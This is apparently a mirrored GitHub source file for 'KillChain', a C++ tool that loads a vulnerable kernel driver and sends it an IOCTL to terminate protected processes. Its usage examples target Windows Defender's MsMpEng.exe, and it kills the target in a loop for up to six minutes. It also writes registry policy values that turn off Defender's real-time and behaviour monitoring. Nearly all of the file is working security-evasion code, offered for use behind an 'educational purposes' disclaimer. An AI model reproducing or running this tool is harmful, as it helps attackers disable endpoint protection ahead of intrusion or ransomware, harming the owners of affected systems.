mirror of
https://github.com/oxfemale/KillChain
synced 2026-06-08 16:35:03 +00:00
261 lines
8.6 KiB
C++
261 lines
8.6 KiB
C++
/*
|
|
* ProcessMonitorDriver.sys (CVE-2026-0828)
|
|
*
|
|
* Description: A vulnerable kernel driver that allows user-mode applications to terminate protected processes by sending a
|
|
* custom IOCTL with the target PID. This driver is intended for educational and testing purposes only, and should not be used in production environments.
|
|
*
|
|
* Features:
|
|
* - Terminate processes by PID or executable name
|
|
* - Optionally disable Windows Defender via registry modifications
|
|
* - Configurable logging with multiple verbosity levels and output options
|
|
* - Clean driver unloading and service cleanup functionality
|
|
* Usage:
|
|
* 1. Compile the driver and place it in the same directory as KillChain.exe
|
|
* 2. Run KillChain.exe with appropriate arguments to terminate target processes or disable Defender
|
|
* 3. Use --uninstall-driver to clean up the driver and registry entries after testing
|
|
* Disclaimer: This code is for educational purposes only. The author is not responsible for any misuse or damage caused by this tool.
|
|
*
|
|
* Coded by Eleven Red Pandas:
|
|
* - GitHub: https://github.com/oxfemale
|
|
* - X: https://x.com/bytecodevm
|
|
*
|
|
*/
|
|
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include "Logger.h"
|
|
#include "LoadDriver.h"
|
|
|
|
#define IOCTL_KILL_PROCESS 0xB822200C
|
|
|
|
Logger g_Logger;
|
|
|
|
DWORD GetPidByName(const char* procName) {
|
|
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (hSnap == INVALID_HANDLE_VALUE) return 0;
|
|
|
|
PROCESSENTRY32W pe32;
|
|
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
|
DWORD pid = 0;
|
|
|
|
int wideLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
|
|
wchar_t* wideName = new wchar_t[wideLen];
|
|
MultiByteToWideChar(CP_ACP, 0, procName, -1, wideName, wideLen);
|
|
|
|
if (Process32FirstW(hSnap, &pe32)) {
|
|
do {
|
|
if (_wcsicmp(pe32.szExeFile, wideName) == 0) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
} while (Process32NextW(hSnap, &pe32));
|
|
}
|
|
|
|
delete[] wideName;
|
|
CloseHandle(hSnap);
|
|
return pid;
|
|
}
|
|
|
|
void ShowHelp() {
|
|
g_Logger.Raw(
|
|
"Usage: KillChain.exe [options]\n"
|
|
"\n"
|
|
"Options:\n"
|
|
" --pid <PID> Terminate process by PID\n"
|
|
" --name <ProcessName> Terminate process by executable name\n"
|
|
" --disable-defender Also disable Windows Defender via registry\n"
|
|
" --log-level <0-3> Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)\n"
|
|
" --output <file> Save log output to file\n"
|
|
" --uninstall-driver Unload driver, delete service and driver file\n"
|
|
" --help Show this help\n"
|
|
"\n"
|
|
"Examples:\n"
|
|
" KillChain.exe --name MsMpEng.exe\n"
|
|
" KillChain.exe --pid 1234 --log-level 2 --output log.txt\n"
|
|
" KillChain.exe --name notepad.exe --disable-defender\n"
|
|
" KillChain.exe --uninstall-driver\n",
|
|
FOREGROUND_GREEN | FOREGROUND_INTENSITY
|
|
);
|
|
}
|
|
|
|
void DisableWindowsDefender() {
|
|
g_Logger.Info("Attempting to disable Windows Defender via registry...");
|
|
HKEY key = NULL;
|
|
HKEY new_key = NULL;
|
|
DWORD disable = 1;
|
|
|
|
LONG res = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
|
|
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
|
|
0, KEY_ALL_ACCESS, &key);
|
|
if (res != ERROR_SUCCESS) {
|
|
if (res == ERROR_ACCESS_DENIED)
|
|
g_Logger.Error("Access denied. Run as Administrator.");
|
|
else
|
|
g_Logger.Error("Failed to open Windows Defender policy key. Error: %ld", res);
|
|
return;
|
|
}
|
|
|
|
RegSetValueExA(key, "DisableAntiSpyware", 0, REG_DWORD,
|
|
(const BYTE*)&disable, sizeof(disable));
|
|
g_Logger.Debug("DisableAntiSpyware set to 1.");
|
|
|
|
DWORD disposition;
|
|
res = RegCreateKeyExA(key, "Real-Time Protection", 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
|
|
NULL, &new_key, &disposition);
|
|
if (res != ERROR_SUCCESS) {
|
|
g_Logger.Error("Failed to create/open Real-Time Protection key. Error: %ld", res);
|
|
RegCloseKey(key);
|
|
return;
|
|
}
|
|
|
|
const char* rtValues[] = {
|
|
"DisableRealtimeMonitoring",
|
|
"DisableBehaviorMonitoring",
|
|
"DisableScanOnRealtimeEnable",
|
|
"DisableOnAccessProtection",
|
|
"DisableIOAVProtection"
|
|
};
|
|
for (int i = 0; i < 5; i++) {
|
|
RegSetValueExA(new_key, rtValues[i], 0, REG_DWORD,
|
|
(const BYTE*)&disable, sizeof(disable));
|
|
g_Logger.Debug("%s set to 1.", rtValues[i]);
|
|
}
|
|
|
|
RegCloseKey(key);
|
|
RegCloseKey(new_key);
|
|
g_Logger.Info("Windows Defender disable completed. Restart the computer to apply changes.");
|
|
}
|
|
|
|
int main(int argc, char* argv[]) {
|
|
// Default values
|
|
ULONG64 targetPid = 0;
|
|
char targetName[256] = { 0 };
|
|
bool disableDefender = false;
|
|
bool uninstallDriver = false;
|
|
int logLevel = 1;
|
|
const char* outputFile = nullptr;
|
|
|
|
PrintLogo();
|
|
|
|
// Parse arguments
|
|
for (int i = 1; i < argc; i++) {
|
|
if (strcmp(argv[i], "--help") == 0) {
|
|
ShowHelp();
|
|
return 0;
|
|
}
|
|
else if (strcmp(argv[i], "--uninstall-driver") == 0) {
|
|
uninstallDriver = true;
|
|
}
|
|
else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) {
|
|
targetPid = _strtoui64(argv[++i], nullptr, 10);
|
|
}
|
|
else if (strcmp(argv[i], "--name") == 0 && i + 1 < argc) {
|
|
strncpy_s(targetName, argv[++i], sizeof(targetName) - 1);
|
|
}
|
|
else if (strcmp(argv[i], "--disable-defender") == 0) {
|
|
disableDefender = true;
|
|
}
|
|
else if (strcmp(argv[i], "--log-level") == 0 && i + 1 < argc) {
|
|
logLevel = atoi(argv[++i]);
|
|
}
|
|
else if (strcmp(argv[i], "--output") == 0 && i + 1 < argc) {
|
|
outputFile = argv[++i];
|
|
}
|
|
else {
|
|
g_Logger.Error("Unknown option: %s", argv[i]);
|
|
ShowHelp();
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
// Initialize logger
|
|
g_Logger.SetLogLevel(logLevel);
|
|
if (outputFile) {
|
|
if (!g_Logger.SetOutputFile(outputFile))
|
|
g_Logger.Warning("Failed to open log file: %s", outputFile);
|
|
}
|
|
|
|
// Handle uninstall request
|
|
if (uninstallDriver) {
|
|
return UninstallDriver();
|
|
}
|
|
|
|
// If no target specified, show help
|
|
if (targetPid == 0 && targetName[0] == 0) {
|
|
ShowHelp();
|
|
return 0;
|
|
}
|
|
|
|
// Load driver (skip if already loaded)
|
|
if (LoadDriver(false) != 0) {
|
|
g_Logger.Error("Driver loading failed. Exiting.");
|
|
return 1;
|
|
}
|
|
|
|
// Open device once (reused in loop)
|
|
HANDLE hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver",
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0, NULL, OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hDevice == INVALID_HANDLE_VALUE) {
|
|
g_Logger.Error("Failed to open device. Error: %lu", GetLastError());
|
|
return 1;
|
|
}
|
|
g_Logger.Debug("Device opened successfully.");
|
|
|
|
// Loop variables
|
|
int terminatedCount = 0;
|
|
bool defenderDisabled = false;
|
|
DWORD startTime = GetTickCount();
|
|
const DWORD maxDurationMs = 360 * 1000; // 360 seconds
|
|
|
|
g_Logger.Info("Starting termination loop (max 360 seconds)...");
|
|
|
|
while (true) {
|
|
// Check timeout
|
|
if (GetTickCount() - startTime >= maxDurationMs) {
|
|
g_Logger.Warning("Timeout reached (360 seconds). Exiting loop.");
|
|
break;
|
|
}
|
|
|
|
// Resolve PID if target is process name (re-check every iteration)
|
|
if (targetName[0] != 0) {
|
|
targetPid = GetPidByName(targetName);
|
|
if (targetPid == 0) {
|
|
g_Logger.Debug("Process %s not found, waiting...", targetName);
|
|
Sleep(2000);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// Send kill IOCTL with dummy output buffer
|
|
DWORD bytesReturned;
|
|
DWORD dummyOutput = 0;
|
|
BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
|
|
&targetPid, sizeof(targetPid),
|
|
&dummyOutput, sizeof(dummyOutput),
|
|
&bytesReturned, NULL);
|
|
|
|
if (result) {
|
|
g_Logger.Info("Process with PID %llu terminated successfully.", targetPid);
|
|
terminatedCount++;
|
|
|
|
if (disableDefender && !defenderDisabled && terminatedCount >= 2) {
|
|
DisableWindowsDefender();
|
|
defenderDisabled = true;
|
|
}
|
|
}
|
|
else {
|
|
DWORD err = GetLastError();
|
|
if (err != ERROR_INSUFFICIENT_BUFFER) {
|
|
g_Logger.Warning("Failed to terminate process (PID %llu). Error: %lu", targetPid, err);
|
|
}
|
|
}
|
|
|
|
Sleep(2000);
|
|
}
|
|
|
|
CloseHandle(hDevice);
|
|
g_Logger.Info("KillChain execution completed.");
|
|
return 0;
|
|
} |